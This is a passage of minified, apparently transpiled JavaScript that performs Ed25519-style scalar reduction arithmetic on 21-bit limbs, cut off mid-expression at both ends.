r11 = (t7 = (2097151 & t7) << 11 | (It3 = Tt3 - -1048576 | 0) >>> 21) >>> 0 > (Rt3 = t7 + Ct3 | 0) >>> 0 ? r11 + 1 | 0 : r11, Wt3 = t7 = r11 - ((Rt3 >>> 0 < 4293918720) - 1 | 0) | 0, ut3 = (2097151 & t7) << 11 | (lt3 = Rt3 - -1048576 | 0) >>> 21, t7 = (t7 >> 21) + Mt3 | 0, $3 = t7 = (r11 = ut3 + Ut3 | 0) >>> 0 < ut3 >>> 0 ? t7 + 1 | 0 : t7, tt3 = r11, t7 = Bt2(r11, t7, -683901, -1), r11 = y4 + mt3 | 0, Jt3 = n9 = t7 + Jt3 | 0, mt3 = t7 >>> 0 > n9 >>> 0 ? r11 + 1 | 0 : r11, t7 = Bt2(p5, 0, M5, 0), r11 = y4, n9 = t7, t7 = Bt2(w5, 0, x5, 0), r11 = y4 + r11 | 0, r11 = t7 >>> 0 > (n9 = n9 + t7 | 0) >>> 0 ? r11 + 1 | 0 : r11, ut3 = (t7 = n9) + (n9 = Bt2(_5, Q5, F5, 0)) | 0, t7 = y4 + r11 | 0, t7 = n9 >>> 0 > ut3 >>> 0 ? t7 + 1 | 0 : t7, r11 = Bt2(k5, 0, P5, 0), n9 = y4 + t7 | 0, n9 = r11 >>> 0 > (ut3 = r11 + ut3 | 0) >>> 0 ? n9 + 1 | 0 : n9, r11 = Bt2(C5, 0, T3, 0), t7 = y4 + n9 | 0, t7 = r11 >>> 0 > (ut3 = r11 + ut3 | 0) >>> 0 ? t7 + 1 | 0 : t7, n9 = Bt2(b5, 0, xt3, 0), r11 = y4 + t7 | 0, r11 = n9 >>> 0 > (ut3 = n9 + ut3 | 0) >>> 0 ? r11 + 1 | 0 : r11, t7 = Bt2(S5, 0, N6, 0), r11 = y4 + r11 | 0, r11 = t7 >>> 0 > (n9 = t7 + ut3 | 0) >>> 0 ? r11 + 1 | 0 : r11, ut3 = (t7 = n9) + (n9 = Bt2(v5, wt3, R5, 0)) | 0, t7 = y4 + r11 | 0, t7 = n9 >>> 0 > ut3 >>> 0 ? t7 + 1 | 0 : t7, r11 = Bt2(d5, 0, O5, 0), n9 = y4 + t7 | 0, n9 = r11 >>> 0 > (ut3 = r11 + ut3 | 0) >>> 0 ? n9 + 1 | 0 : n9, r11 = Bt2(l5, 0, U5, 0), t7 = y4 + n9 | 0, t7 = r11 >>> 0 > (ut3 = r11 + ut3 | 0) >>> 0 ? t7 + 1 | 0 : t7, n9 = Bt2(B5, 0, L5, 0), r11 = y4 + t7 | 0, Mt3 = ut3 = n9 + ut3 | 0, n9 = n9 >>> 0 > ut3 >>> 0 ? r11 + 1 | 0 : r11, r11 = (t7 = c4[h5 + 27 | 0]) >>> 24 | 0, dt3 = t7 << 8 | Gt3 >>> 24, ut3 = 2097151 & ((3 & (r11 |= t7 = (ut3 = c4[h5 + 28 | 0]) >>> 16 | 0)) << 30 | (t7 = (ut3 <<= 16) | dt3) >>> 2), r11 = n9, dt3 = t7 = ut3 + Mt3 | 0, ut3 = t7 >>> 0 < ut3 >>> 0 ? r11 + 1 | 0 : r11, Ut3 = Bt2(X3, j5, 470296, 0), Mt3 = y4, t7 = (n9 = (2097151 & Pt3) << 11 | Ft3 >>> 21) + (Nt3 - (r11 = -2097152 & Et3) | 0) | 0, r11 = zt3 - ((524287 & Ot3) + (r11 >>> 0 > Nt3 >>> 0) | 0) + (Pt3 >>> 21) | 0, et3 = r11 = t7 >>> 0 < n9 >>> 0 ? r11 + 1 | 0 : r11, rt3 = t7, r11 = Bt2(t7, r11, 666643, 0), t7 = y4 + Mt3 | 0, t7 = r11 >>> 0 > (n9 = r11 + Ut3 | 0) >>> 0 ? t7 + 1 | 0 : t7, Et3 = (r11 = Bt2(J5, K5, 654183, 0)) + n9 | 0, n9 = y4 + t7 | 0, n9 = r11 >>> 0 > Et3 >>> 0 ? n9 + 1 | 0 : n9, r11 = Bt2(z4, q4, -997805, -1), t7 = y4 + n9 | 0, t7 = r11 >>> 0 > (Et3 = r11 + Et3 | 0) >>> 0 ? t7 + 1 | 0 : t7, n9 = Bt2(W3, V3, 136657, 0), r11 = y4 + t7 | 0, St3 = (t7 = (2097151 & kt3) << 11 | St3 >>> 21) + (Et3 = n9 + Et3 | 0) | 0, r11 = (kt3 >>> 21 | 0) + (n9 >>> 0 > Et3 >>> 0 ? r11 + 1 | 0 : r11) | 0, Ot3 = Et3 = ut3 - ((dt3 >>> 0 < 4293918720) - 1 | 0) | 0, t7 = (t7 >>> 0 > St3 >>> 0 ? r11 + 1 | 0 : r11) + ut3 | 0, r11 = (ut3 = dt3 + St3 | 0) - (n9 = -2097152 & (zt3 = dt3 - -1048576 | 0)) | 0, n9 = (t7 = (t7 = ut3 >>> 0 < St3 >>> 0 ? t7 + 1 | 0 : t7) - ((n9 >>> 0 > ut3 >>> 0) + Et3 | 0) | 0) + mt3 | 0, Ut3 = ut3 = t7 - ((r11 >>> 0 < 4293918720) - 1 | 0) | 0, Nt3 = (n9 = (dt3 = r11 + Jt3 | 0) >>> 0 < r11 >>> 0 ? n9 + 1 | 0 : n9) - (((r11 = -2097152 & (Mt3 = r11 - -1048576 | 0)) >>> 0 > dt3 >>> 0) + ut3 | 0) | 0, Gt3 = t7 = dt3 - r11 | 0, ut3 = o5, o5 = A8, $t3 = Rt3 - (t7 = -2097152 & lt3) | 0, Et3 = Ct3 - ((t7 >>> 0 > Rt3 >>> 0) + Wt3 | 0) | 0, t7 = Bt2(rt3, et3, -683901, -1), r11 = y4, A8 = (n9 = t7) + (t7 = Bt2(Y5, Z3, 136657, 0)) | 0, n9 = y4 + r11 | 0, r11 = pt3 + (t7 >>> 0 > A8 >>> 0 ? n9 + 1 | 0 : n9) | 0, It3 = (n9 = A8 + Tt3 | 0) - (t7 = -2097152 & It3) | 0, Ct3 = (r11 = n9 >>> 0 < Tt3 >>> 0 ? r11 + 1 | 0 : r11) - ((t7 >>> 0 > n9 >>> 0) + Ht3 | 0) | 0, r11 = Bt2(Y5, Z3, -997805, -1), t7 = y4 + vt3 | 0, t7 = r11 >>> 0 > (n9 = r11 + _t3 | 0) >>> 0 ? t7 + 1 | 0 : t7, A8 = (r11 = Bt2(rt3, et3, 136657, 0)) + n9 | 0, n9 = y4 + t7 | 0, n9 = r11 >>> 0 > A8 >>> 0 ? n9 + 1 | 0 : n9, t7 = Bt2(X3, j5, -683901, -1), r11 = y4 + n9 | 0, r11 = t7 >>> 0 > (A8 = t7 + A8 | 0) >>> 0 ? r11 + 1 | 0 : r11, lt3 = A8 - (t7 = -2097152 & Qt3) | 0, mt3 = r11 - ((t7 >>> 0 > A8 >>> 0) + Zt3 | 0) | 0, r11 = Bt2(w5, 0, P5, 0), t7 = y4, n9 = r11, r11 = Bt2(p5, 0, F5, 0), t7 = y4 + t7 | 0, t7 = r11 >>> 0 > (n9 = n9 + r11 | 0) >>> 0 ? t7 + 1 | 0 : t7, A8 = (r11 = Bt2(f5, 0, T3, 0)) + n9 | 0, n9 = y4 + t7 | 0, n9 = r11 >>> 0 > A8 >>> 0 ? n9 + 1 | 0 : n9, t7 = Bt2(_5, Q5, b5, 0), r11 = y4 + n9 | 0, r11 = t7 >>> 0 > (A8 = t7 + A8 | 0) >>> 0 ? r11 + 1 | 0 : r11, n9 = Bt2(C5, 0, S5, 0), t7 = y4 + r11 | 0, t7 = n9 >>> 0 > (A8 = n9 + A8 | 0) >>> 0 ? t7 + 1 | 0 : t7, n9 = Bt2(v5, wt3, k5, 0), r11 = y4 + t7 | 0, r11 = n9 >>> 0 > (A8 = n9 + A8 | 0) >>> 0 ? r11 + 1 | 0 : r11, n9 = Bt2(d5, 0, xt3, 0), t7 = y4 + r11 | 0, t7 = n9 >>> 0 > (A8 = n9 + A8 | 0) >>> 0 ? t7 + 1 | 0 : t7, r11 = Bt2(l5, 0, N6, 0), n9 = y4 + t7 | 0, n9 = r11 >>> 0 > (A8 = r11 + A8 | 0) >>> 0 ? n9 + 1 | 0 : n9, t7 = Bt2(m5, 0, U5, 0), r11 = y4 + n9 | 0, r11 = t7 >>> 0 > (A8 = t7 + A8 | 0) >>> 0 ? r11 + 1 | 0 : r11, n9 = Bt2(B5, 0, R5, 0), t7 = y4 + r11 | 0, dt3 = A8 = n9 + A8 | 0, A8 = n9 >>> 0 > A8 >>> 0 ? t7 + 1 | 0 : t7, t7 = Bt2(w5, 0, F5, 0), r11 = y4, n9 = t7, t7 = Bt2(f5, 0, x5, 0), r11 = y4 + r11 | 0, r11 = t7 >>> 0 > (n9 = n9 + t7 | 0) >>> 0 ? r11 + 1 | 0 : r11, pt3 = (t7 = n9) + (n9 = Bt2(C5, 0, P5, 0)) | 0, t7 = y4 + r11 | 0, t7 = n9 >>> 0 > pt3 >>> 0 ? t7 + 1 | 0 : t7, r11 = Bt2(p5, 0, T3, 0), n9 = y4 + t7 | 0, n9 = r11 >>> 0 > (pt3 = r11 + pt3 | 0) >>> 0 ? n9 + 1 | 0 : n9, t7 = Bt2(b5, 0, k5, 0), r11 = y4 + n9 | 0, r11 = t7 >>> 0 > (pt3 = t7 + pt3 | 0) >>> 0 ? r11 + 1 | 0 : r11, n9 = Bt2(_5, Q5, S5, 0), t7 = y4 + r11 | 0, t7 = n9 >>> 0 > (pt3 = n9 + pt3 | 0) >>> 0 ? t7 + 1 | 0 : t7, n9 = Bt2(v5, wt3, N6, 0), r11 = y4 + t7 | 0, r11 = n9 >>> 0 > (pt3 = n9 + pt3 | 0) >>> 0 ? r11 + 1 | 0 : r11, n9 = Bt2(d5, 0, R5, 0), t7 = y4 + r11 | 0, t7 = n9 >>> 0 > (pt3 = n9 + pt3 | 0) >>> 0 ? t7 + 1 | 0 : t7, r11 = Bt2(l5, 0, xt3, 0), n9 = y4 + t7 | 0, n9 = r11 >>> 0 > (pt3 = r11 + pt3 | 0) >>> 0 ? n9 + 1 | 0 : n9, pt3 = (t7 = Bt2(m5, 0, O5, 0)) + pt3 | 0, r11 = y4 + n9 | 0, n9 = Bt2(B5, 0, U5, 0), t7 = y4 + (t7 >>> 0 > pt3 >>> 0 ? r11 + 1 | 0 : r11) | 0, Rt3 = t7 = n9 >>> 0 > (Wt3 = n9 + pt3 | 0) >>> 0 ? t7 + 1 | 0 : t7, At3 = t7 = t7 - ((Wt3 >>> 0 < 4293918720) - 1 | 0) | 0, n9 = (2097151 & t7) << 11 | (Pt3 = Wt3 - -1048576 | 0) >>> 21, t7 = (t7 >>> 21 | 0) + A8 | 0, Ft3 = t7 = n9 >>> 0 > (Jt3 = n9 + dt3 | 0) >>> 0 ? t7 + 1 | 0 : t7, it3 = t7 = t7 - ((Jt3 >>> 0 < 4293918720) - 1 | 0) | 0, n9 = (2097151 & t7) << 11 | (kt3 = Jt3 - -1048576 | 0) >>> 21, t7 = (t7 >>> 21 | 0) + mt3 | 0, St3 = t7 = n9 >>> 0 > (Tt3 = n9 + lt3 | 0) >>> 0 ? t7 + 1 | 0 : t7, ot3 = t7 = t7 - ((Tt3 >>> 0 < 4293918720) - 1 | 0) | 0, n9 = (2097151 & t7) << 11 | (vt3 = Tt3 - -1048576 | 0) >>> 21, t7 = (t7 >> 21) + Ct3 | 0, A8 = t7 = n9 >>> 0 > (lt3 = n9 + It3 | 0) >>> 0 ? t7 + 1 | 0 : t7, Ct3 = t7 = t7 - ((lt3 >>> 0 < 4293918720) - 1 | 0) | 0, mt3 = (2097151 & t7) << 11 | (n9 = lt3 - -1048576 | 0) >>> 21, t7 = (t7 >> 21) + Et3 | 0, Zt3 = t7 = (dt3 = mt3 + $t3 | 0) >>> 0 < mt3 >>> 0 ? t7 + 1 | 0 : t7, Ht3 = dt3, t7 = Bt2(dt3, t7, -683901, -1), r11 = y4, dt3 = t7, t7 = Bt2(tt3, $3, 136657, 0), r11 = y4 + r11 | 0, t7 = (t7 >>> 0 > (dt3 = dt3 + t7 | 0) >>> 0 ? r11 + 1 | 0 : r11) + o5 | 0, Ae3 = (o5 = ut3 + dt3 | 0) - (r11 = -2097152 & Dt3) | 0, ie3 = (t7 = o5 >>> 0 < dt3 >>> 0 ? t7 + 1 | 0 : t7) - ((r11 >>> 0 > o5 >>> 0) + te3 | 0) | 0, mt3 = ft3, dt3 = yt3, ft3 = Bt2(Ht3, Zt3, 136657, 0), o5 = y4, $t3 = t7 = lt3 - (r11 = -2097152 & n9) | 0, nt3 = A8 = A8 - ((r11 >>> 0 > lt3 >>> 0) + Ct3 | 0) | 0, n9 = Bt2(tt3, $3, -997805, -1), r11 = y4 + o5 | 0, r11 = n9 >>> 0 > (ft3 = n9 + ft3 | 0) >>> 0 ? r11 + 1 | 0 : r11, n9 = Bt2(t7, A8, -683901, -1), t7 = y4 + r11 | 0, te3 = A8 = n9 + ft3 | 0, ut3 = n9 >>> 0 > A8 >>> 0 ? t7 + 1 | 0 : t7, t7 = Bt2(W3, V3, 470296, 0), r11 = y4, A8 = (n9 = t7) + (t7 = Bt2(z4, q4, 666643, 0)) | 0, n9 = y4 + r11 | 0, r11 = Vt3 + (t7 >>> 0 > A8 >>> 0 ? n9 + 1 | 0 : n9) | 0, Et3 = t7 = A8 + Xt3 | 0, o5 = r11 = t7 >>> 0 < Xt3 >>> 0 ? r11 + 1 | 0 : r11, r11 = Bt2(W3, V3, 666643, 0), t7 = y4 + qt3 | 0, t7 = r11 >>> 0 > (n9 = r11 + Lt3 | 0) >>> 0 ? t7 + 1 | 0 : t7, It3 = n9 - (r11 = -2097152 & jt3) | 0, _t3 = t7 - ((r11 >>> 0 > n9 >>> 0) + ee3 | 0) | 0, r11 = Bt2(N6, 0, M5, 0), t7 = y4, n9 = r11, r11 = Bt2(x5, 0, xt3, 0), t7 = y4 + t7 | 0, t7 = r11 >>> 0 > (n9 = n9 + r11 | 0) >>> 0 ? t7 + 1 | 0 : t7, A8 = (r11 = n9) + (n9 = Bt2(F5, 0, U5, 0)) | 0, r11 = y4 + t7 | 0, r11 = n9 >>> 0 > A8 >>> 0 ? r11 + 1 | 0 : r11, n9 = Bt2(P5, 0, O5, 0), t7 = y4 + r11 | 0, t7 = n9 >>> 0 > (A8 = n9 + A8 | 0) >>> 0 ? t7 + 1 | 0 : t7, r11 = Bt2(T3, 0, R5, 0), n9 = y4 + t7 | 0, n9 = r11 >>> 0 > (A8 = r11 + A8 | 0) >>> 0 ? n9 + 1 | 0 : n9, t7 = Bt2(S5, 0, L5, 0), r11 = y4 + n9 | 0, lt3 = A8 = t7 + A8 | 0, A8 = t7 >>> 0 > A8 >>> 0 ? r11 + 1 | 0 : r11, r11 = (t7 = c4[h5 + 14 | 0]) >>> 24 | 0, ft3 = t7 << 8 | (Ct3 = c4[h5 + 10 | 0] | c4[h5 + 11 | 0] << 8 | c4[h5 + 12 | 0] << 16 | c4[h5 + 13 | 0] << 24) >>> 24, r11 = 2097151 & ((1 & (r11 |= n9 = (t7 = c4[h5 + 15 | 0]) >>> 16 | 0)) << 31 | (t7 = ft3 | t7 << 16) >>> 1), t7 = A8, lt3 = n9 = r11 + lt3 | 0, A8 = r11 >>> 0 > n9 >>> 0 ? t7 + 1 | 0 : t7, ft3 = Ct3 >>> 4 & 2097151, t7 = Bt2(M5, 0, xt3, 0), r11 = y4, n9 = t7, t7 = Bt2(x5, 0, R5, 0), r11 = y4 + r11 | 0, r11 = t7 >>> 0 > (n9 = n9 + t7 | 0) >>> 0 ? r11 + 1 | 0 : r11, t7 = Bt2(F5, 0, O5, 0), r11 = y4 + r11 | 0, r11 = t7 >>> 0 > (n9 = t7 + n9 | 0) >>> 0 ? r11 + 1 | 0 : r11, Ct3 = (t7 = n9) + (n9 = Bt2(P5, 0, L5, 0)) | 0, t7 = y4 + r11 | 0, t7 = n9 >>> 0 > Ct3 >>> 0 ? t7 + 1 | 0 : t7, r11 = Bt2(T3, 0, U5, 0), n9 = y4 + t7 | 0, t7 = r11 >>> 0 > (Ct3 = r11 + Ct3 | 0) >>> 0 ? n9 + 1 | 0 : n9, yt3 = t7 = (jt3 = ft3 + Ct3 | 0) >>> 0 < Ct3 >>> 0 ? t7 + 1 | 0 : t7, st3 = t7 = t7 - ((jt3 >>> 0 < 4293918720) - 1 | 0) | 0, r11 = (n9 = t7 >>> 21 | 0) + A8 | 0, Qt3 = r11 = (t7 = (2097151 & t7) << 11 | (Dt3 = jt3 - -1048576 | 0) >>> 21) >>> 0 > (Vt3 = t7 + lt3 | 0) >>> 0 ? r11 + 1 | 0 : r11, at3 = t7 = r11 - ((Vt3 >>> 0 < 4293918720) - 1 | 0) | 0, r11 = (2097151 & t7) << 11 | (pt3 = Vt3 - -1048576 | 0) >>> 21, t7 = (t7 >>> 21 | 0) + _t3 | 0, Ct3 = t7 = r11 >>> 0 > (It3 = r11 + It3 | 0) >>> 0 ? t7 + 1 | 0 : t7, ht3 = t7 = t7 - ((It3 >>> 0 < 4293918720) - 1 | 0) | 0, r11 = (n9 = t7 >> 21) + o5 | 0, ee3 = r11 = (r11 = (t7 = (2097151 & t7) << 11 | (lt3 = It3 - -1048576 | 0) >>> 21) >>> 0 > (A8 = t7 + Et3 | 0) >>> 0 ? r11 + 1 | 0 : r11) - (((n9 = -2097152 & Yt3) >>> 0 > A8 >>> 0) + re3 | 0) | 0, Yt3 = t7 = A8 - n9 | 0, ft3 = t7 - -1048576 | 0, re3 = t7 = r11 - ((t7 >>> 0 < 4293918720) - 1 | 0) | 0, n9 = (r11 = t7 >> 21) + ut3 | 0, r11 = ((t7 = (2097151 & t7) << 11 | ft3 >>> 21) >>> 0 > (A8 = t7 + te3 | 0) >>> 0 ? n9 + 1 | 0 : n9) + dt3 | 0, Lt3 = r11 = (r11 = (t7 = A8) >>> 0 > (A8 = A8 + mt3 | 0) >>> 0 ? r11 + 1 | 0 : r11) - (((n9 = -2097152 & Kt3) >>> 0 > A8 >>> 0) + ne3 | 0) | 0, dt3 = t7 = A8 - n9 | 0, o5 = t7 - -1048576 | 0, qt3 = t7 = r11 - ((t7 >>> 0 < 4293918720) - 1 | 0) | 0, n9 = (r11 = t7 >> 21) + ie3 | 0, Kt3 = t7 = (n9 = (t7 = (2097151 & t7) << 11 | o5 >>> 21) >>> 0 > (ut3 = t7 + Ae3 | 0) >>> 0 ? n9 + 1 | 0 : n9) - ((ut3 >>> 0 < 4293918720) - 1 | 0) | 0, Et3 = Gt3 - -1048576 | 0, _t3 = Nt3 - ((Gt3 >>> 0 < 4293918720) - 1 | 0) | 0, mt3 = (2097151 & t7) << 11 | (A8 = ut3 - -1048576 | 0) >>> 21, t7 = (t7 >> 21) + Nt3 | 0, ne3 = (Gt3 = mt3 + Gt3 | 0) - (r11 = -2097152 & Et3) | 0, Ae3 = (mt3 >>> 0 > Gt3 >>> 0 ? t7 + 1 | 0 : t7) - ((r11 >>> 0 > Gt3 >>> 0) + _t3 | 0) | 0, ie3 = ut3 - (t7 = -2097152 & A8) | 0, te3 = n9 - ((t7 >>> 0 > ut3 >>> 0) + Kt3 | 0) | 0, Xt3 = dt3 - (t7 = -2097152 & o5) | 0, Gt3 = Lt3 - ((t7 >>> 0 > dt3 >>> 0) + qt3 | 0) | 0, t7 = Bt2(Ht3, Zt3, -997805, -1), r11 = y4, n9 = t7, t7 = Bt2(tt3, $3, 654183, 0), r11 = y4 + r11 | 0, r11 = t7 >>> 0 > (n9 = n9 + t7 | 0) >>> 0 ? r11 + 1 | 0 : r11, A8 = (t7 = n9) + (n9 = Bt2($t3, nt3, 136657, 0)) | 0, t7 = y4 + r11 | 0, r11 = ee3 + (n9 >>> 0 > A8 >>> 0 ? t7 + 1 | 0 : t7) | 0, Lt3 = (n9 = A8 + Yt3 | 0) - (t7 = -2097152 & ft3) | 0, qt3 = (r11 = n9 >>> 0 < Yt3 >>> 0 ? r11 + 1 | 0 : r11) - ((t7 >>> 0 > n9 >>> 0) + re3 | 0) | 0, Yt3 = Tt3 - (t7 = -2097152 & vt3) | 0, Nt3 = St3 - ((t7 >>> 0 > Tt3 >>> 0) + ot3 | 0) | 0, r11 = Bt2(rt3, et3, -997805, -1), t7 = y4, n9 = r11, r11 = Bt2(Y5, Z3, 654183, 0), t7 = y4 + t7 | 0, t7 = r11 >>> 0 > (n9 = n9 + r11 | 0) >>> 0 ? t7 + 1 | 0 : t7, A8 = (r11 = n9) + (n9 = Bt2(X3, j5, 136657, 0)) | 0, r11 = y4 + t7 | 0, r11 = n9 >>> 0 > A8 >>> 0 ? r11 + 1 | 0 : r11, t7 = Bt2(J5, K5, -683901, -1), n9 = y4 + r11 | 0, r11 = Ft3 + (t7 >>> 0 > (A8 = t7 + A8 | 0) >>> 0 ? n9 + 1 | 0 : n9) | 0, vt3 = (n9 = A8 + Jt3 | 0) - (t7 = -2097152 & kt3) | 0, St3 = (r11 = n9 >>> 0 < Jt3 >>> 0 ? r11 + 1 | 0 : r11) - ((t7 >>> 0 > n9 >>> 0) + it3 | 0) | 0, r11 = Bt2(rt3, et3, 654183, 0), t7 = y4, n9 = r11, r11 = Bt2(Y5, Z3, 470296, 0), t7 = y4 + t7 | 0, t7 = r11 >>> 0 > (n9 = n9 + r11 | 0) >>> 0 ? t7 + 1 | 0 : t7, A8 = (r11 = Bt2(X3, j5, -997805, -1)) + n9 | 0, n9 = y4 + t7 | 0, r11 = Rt3 + (r11 >>> 0 > A8 >>> 0 ? n9 + 1 | 0 : n9) | 0, r11 = (t7 = A8 + Wt3 | 0) >>> 0 < Wt3 >>> 0 ? r11 + 1 | 0 : r11, n9 = t7, t7 = Bt2(J5, K5, 136657, 0), r11 = y4 + r11 | 0, r11 = t7 >>> 0 > (n9 = n9 + t7 | 0) >>> 0 ? r11 + 1 | 0 : r11, A8 = (t7 = n9) + (n9 = Bt2(z4, q4, -683901, -1)) | 0, t7 = y4 + r11 | 0, ft3 = A8 - (r11 = -2097152 & Pt3) | 0, o5 = (n9 >>> 0 > A8 >>> 0 ? t7 + 1 | 0 : t7) - ((r11 >>> 0 > A8 >>> 0) + At3 | 0) | 0, A8 = (c4[h5 + 28 | 0] | c4[h5 + 29 | 0] << 8 | c4[h5 + 30 | 0] << 16 | c4[h5 + 31 | 0] << 24) >>> 7 | 0, t7 = Bt2(f5, 0, M5, 0), r11 = y4, ut3 = (n9 = t7) + (t7 = Bt2(p5, 0, x5, 0)) | 0, n9 = y4 + r11 | 0, n9 = t7 >>> 0 > ut3 >>> 0 ? n9 + 1 | 0 : n9, t7 = Bt2(C5, 0, F5, 0), r11 = y4 + n9 | 0, r11 = t7 >>> 0 > (ut3 = t7 + ut3 | 0) >>> 0 ? r11 + 1 | 0 : r11, n9 = Bt2(_5, Q5, P5, 0), t7 = y4 + r11 | 0, t7 = n9 >>> 0 > (ut3 = n9 + ut3 | 0) >>> 0 ? t7 + 1 | 0 : t7, n9 = Bt2(w5, 0, T3, 0), r11 = y4 + t7 | 0, r11 = n9 >>> 0 > (ut3 = n9 + ut3 | 0) >>> 0 ? r11 + 1 | 0 : r11, n9 = Bt2(b5, 0, N6, 0), t7 = y4 + r11 | 0, t7 = n9 >>> 0 > (ut3 = n9 + ut3 | 0) >>> 0 ? t7 + 1 | 0 : t7, r11 = Bt2(k5, 0, S5, 0), n9 = y4 + t7 | 0, n9 = r11 >>> 0 > (ut3 = r11 + ut3 | 0) >>> 0 ? n9 + 1 | 0 : n9, t7 = Bt2(v5, wt3, xt3, 0), r11 = y4 + n9 | 0, r11 = t7 >>> 0 > (ut3 = t7 + ut3 | 0) >>> 0 ? r11 + 1 | 0 : r11, n9 = Bt2(d5, 0, U5, 0), t7 = y4 + r11 | 0, t7 = n9 >>> 0 > (ut3 = n9 + ut3 | 0) >>> 0 ? t7 + 1 | 0 : t7, n9 = Bt2(l5, 0, R5, 0), r11 = y4 + t7 | 0, r11 = n9 >>> 0 > (ut3 = n9 + ut3 | 0) >>> 0 ? r11 + 1 | 0 : r11, n9 = Bt2(m5, 0, L5, 0), t7 = y4 + r11 | 0, t7 = n9 >>> 0 > (ut3 = n9 + ut3 | 0) >>> 0 ? t7 + 1 | 0 : t7, r11 = Bt2(B5, 0, O5, 0), n9 = y4 + t7 | 0, r11 = n9 = r11 >>> 0 > (ut3 = r11 + ut3 | 0) >>> 0 ? n9 + 1 | 0 : n9, Ft3 = (n9 = (2097151 & Ot3) << 11 | zt3 >>> 21) + (t7 = A8 + ut3 | 0) | 0, t7 = (Ot3 >>> 21 | 0) + (r11 = t7 >>> 0 < ut3 >>> 0 ? r11 + 1 | 0 : r11) | 0, mt3 = t7 = n9 >>> 0 > Ft3 >>> 0 ? t7 + 1 | 0 : t7, Kt3 = r11 = t7 - ((Ft3 >>> 0 < 4293918720) - 1 | 0) | 0, n9 = (t7 = r11 >>> 21 | 0) + o5 | 0, dt3 = n9 = (r11 = (2097151 & r11) << 11 | (wt3 = Ft3 - -1048576 | 0) >>> 21) >>> 0 > (kt3 = r11 + ft3 | 0) >>> 0 ? n9 + 1 | 0 : n9, zt3 = r11 = n9 - ((kt3 >>> 0 < 4293918720) - 1 | 0) | 0, t7 = (t7 = r11 >> 21) + St3 | 0, ft3 = t7 = (r11 = (2097151 & r11) << 11 | (ut3 = kt3 - -1048576 | 0) >>> 21) >>> 0 > (vt3 = r11 + vt3 | 0) >>> 0 ? t7 + 1 | 0 : t7, Pt3 = r11 = t7 - ((vt3 >>> 0 < 4293918720) - 1 | 0) | 0, n9 = (t7 = r11 >> 21) + Nt3 | 0, Ot3 = n9 = (r11 = (A8 = (2097151 & r11) << 11 | (o5 = vt3 - -1048576 | 0) >>> 21) + Yt3 | 0) >>> 0 < A8 >>> 0 ? n9 + 1 | 0 : n9, Nt3 = r11, t7 = Bt2(r11, n9, -683901, -1), r11 = y4 + qt3 | 0, St3 = n9 = t7 + Lt3 | 0, A8 = t7 >>> 0 > n9 >>> 0 ? r11 + 1 | 0 : r11, r11 = Bt2(tt3, $3, 470296, 0), t7 = y4 + Ct3 | 0, t7 = r11 >>> 0 > (It3 = r11 + It3 | 0) >>> 0 ? t7 + 1 | 0 : t7, r11 = Bt2(Ht3, Zt3, 654183, 0), t7 = y4 + (t7 - (((n9 = -2097152 & lt3) >>> 0 > It3 >>> 0) + ht3 | 0) | 0) | 0, t7 = r11 >>> 0 > (lt3 = r11 + (It3 - n9 | 0) | 0) >>> 0 ? t7 + 1 | 0 : t7, n9 = Bt2($t3, nt3, -997805, -1), r11 = y4 + t7 | 0, r11 = n9 >>> 0 > (lt3 = n9 + lt3 | 0) >>> 0 ? r11 + 1 | 0 : r11, Rt3 = n9 = vt3 - (t7 = -2097152 & o5) | 0, xt3 = ft3 = ft3 - ((t7 >>> 0 > vt3 >>> 0) + Pt3 | 0) | 0, lt3 = (o5 = Bt2(Nt3, Ot3, 136657, 0)) + lt3 | 0, t7 = y4 + r11 | 0, n9 = Bt2(n9, ft3, -683901, -1), r11 = y4 + (o5 >>> 0 > lt3 >>> 0 ? t7 + 1 | 0 : t7) | 0, ft3 = r11 = n9 >>> 0 > (Ct3 = n9 + lt3 | 0) >>> 0 ? r11 + 1 | 0 : r11, Pt3 = t7 = r11 - ((Ct3 >>> 0 < 4293918720) - 1 | 0) | 0, r11 = (2097151 & t7) << 11 | (o5 = Ct3 - -1048576 | 0) >>> 21, t7 = (t7 >> 21) + A8 | 0, vt3 = r11 = (t7 = r11 >>> 0 > (lt3 = r11 + St3 | 0) >>> 0 ? t7 + 1 | 0 : t7) - ((lt3 >>> 0 < 4293918720) - 1 | 0) | 0, It3 = (2097151 & r11) << 11 | (A8 = lt3 - -1048576 | 0) >>> 21, r11 = (r11 >> 21) + Gt3 | 0, Xt3 = St3 = It3 + Xt3 | 0, St3 = It3 >>> 0 > St3 >>> 0 ? r11 + 1 | 0 : r11, Gt3 = lt3 - (r11 = -2097152 & A8) | 0, Wt3 = t7 - ((r11 >>> 0 > lt3 >>> 0) + vt3 | 0) | 0, Lt3 = Ct3 - (t7 = -2097152 & o5) | 0, qt3 = ft3 - ((t7 >>> 0 > Ct3 >>> 0) + Pt3 | 0) | 0, t7 = Bt2(tt3, $3, 666643, 0), n9 = Qt3 + y4 | 0, n9 = (o5 = t7 + Vt3 | 0) >>> 0 < Vt3 >>> 0 ? n9 + 1 | 0 : n9, A8 = (t7 = Bt2(Ht3, Zt3, 470296, 0)) + (o5 - (r11 = -2097152 & pt3) | 0) | 0, r11 = y4 + (n9 - ((r11 >>> 0 > o5 >>> 0) + at3 | 0) | 0) | 0, r11 = t7 >>> 0 > A8 >>> 0 ? r11 + 1 | 0 : r11, n9 = Bt2($t3, nt3, 654183, 0), t7 = y4 + r11 | 0, lt3 = A8 = n9 + A8 | 0, A8 = n9 >>> 0 > A8 >>> 0 ? t7 + 1 | 0 : t7, o5 = kt3 - (t7 = -2097152 & ut3) | 0, ft3 = dt3 - ((t7 >>> 0 > kt3 >>> 0) + zt3 | 0) | 0, t7 = Bt2(rt3, et3, 470296, 0), r11 = y4, n9 = t7, t7 = Bt2(Y5, Z3, 666643, 0), r11 = y4 + r11 | 0, r11 = t7 >>> 0 > (n9 = n9 + t7 | 0) >>> 0 ? r11 + 1 | 0 : r11, t7 = Bt2(X3, j5, 654183, 0), r11 = y4 + r11 | 0, r11 = t7 >>> 0 > (n9 = t7 + n9 | 0) >>> 0 ? r11 + 1 | 0 : r11, ut3 = (t7 = n9) + (n9 = Bt2(J5, K5, -997805, -1)) | 0, t7 = y4 + r11 | 0, t7 = n9 >>> 0 > ut3 >>> 0 ? t7 + 1 | 0 : t7, r11 = Bt2(z4, q4, 136657, 0), t7 = y4 + t7 | 0, t7 = r11 >>> 0 > (n9 = r11 + ut3 | 0) >>> 0 ? t7 + 1 | 0 : t7, ut3 = (r11 = Bt2(W3, V3, -683901, -1)) + n9 | 0, n9 = y4 + t7 | 0, r11 = mt3 + (r11 >>> 0 > 